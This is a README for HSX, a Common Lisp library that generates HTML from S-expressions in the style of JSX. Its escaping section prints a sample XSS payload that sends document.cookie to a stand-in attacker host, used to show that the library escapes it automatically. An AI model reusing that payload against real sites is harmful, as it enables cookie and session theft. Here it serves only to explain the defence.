Skip to content

skyizwhite/hsx

Repository files navigation

HSX – Hypertext S-expression

HSX is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.

🚧 BETA NOTICE:
This library is still in early development. APIs may change.
See release notes for details.

⚙️ How HSX Works

Every tag or component inside an (hsx ...) form is transformed into a Lisp expression of the form:

(create-element type props children)

For example:

(hsx
  (article :class "container"
    (h1 "Title")
    (p "Paragraph")
    (~share-button :service :x))

Is internally transformed (by macro expansion) into:

(create-element :article
                (list :class "container")
                (list (create-element :h1
                                      (list)
                                      (list "Title"))
                      (create-element :p
                                      (list)
                                      (list "Paragraph"))
                      (create-element #'~share-button
                                      (list :service :x)
                                      (list))))

🚀 Quick Example

(hsx
  (div :id "main" :class "container"
    (h1 "Hello, HSX!")
    (p "This is a simple paragraph.")))

Generates:

<div id="main" class="container">
  <h1>Hello, HSX!</h1>
  <p>This is a simple paragraph.</p>
</div>

📝 Rendering

Use render-to-string to convert an HSX structure to a string of HTML:

(render-to-string
  (hsx ...))

🔐 Escaping text

All elements automatically escape special characters in content to prevent XSS and HTML injection:

(hsx
  (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))

Outputs:

<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>

Use the special tag raw! to inject trusted, unescaped HTML:

(hsx
  (article (raw! "HTML text here ..."))

🧩 Fragments

Use <> tag to group multiple sibling elements without wrapping them in a container tag:

(hsx
  (<>
    (p "One")
    (p "Two")))

Outputs:

<p>One</p>
<p>Two</p>

Note: raw! tag is a fragment that disables HTML escaping for its children.

🧱 Components

Define reusable components using defcomp macro. Component names must start with ~.

Keyword-style

(defcomp ~card (&key title children)
  (hsx
    (div :class "card"
      (h2 title)
      children)))

Property-list style

(defcomp ~card (&rest props)
  (hsx
    (div :class "card"
      (h2 (getf props :title))
      (getf props :children))))

Usage

(hsx
  (~card :title "Hello"
    (p "This is a card.")))

Outputs:

<div class="card">
  <h2>Hello</h2>
  <p>This is a card.</p>
</div>

🧬 Logic and Interpolation

You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:

(hsx
  (div
    (if (> (random 10) 5)
        (hsx (p "High!"))
        (hsx (p "Low!")))))

Or loop:

(hsx
  (ul
    (loop :for item :in todo-list :collect
      (hsx (li item))))))

📄 License

MIT License

© 2024 Akira Tempaku

© 2018 Bo Yao (original flute project)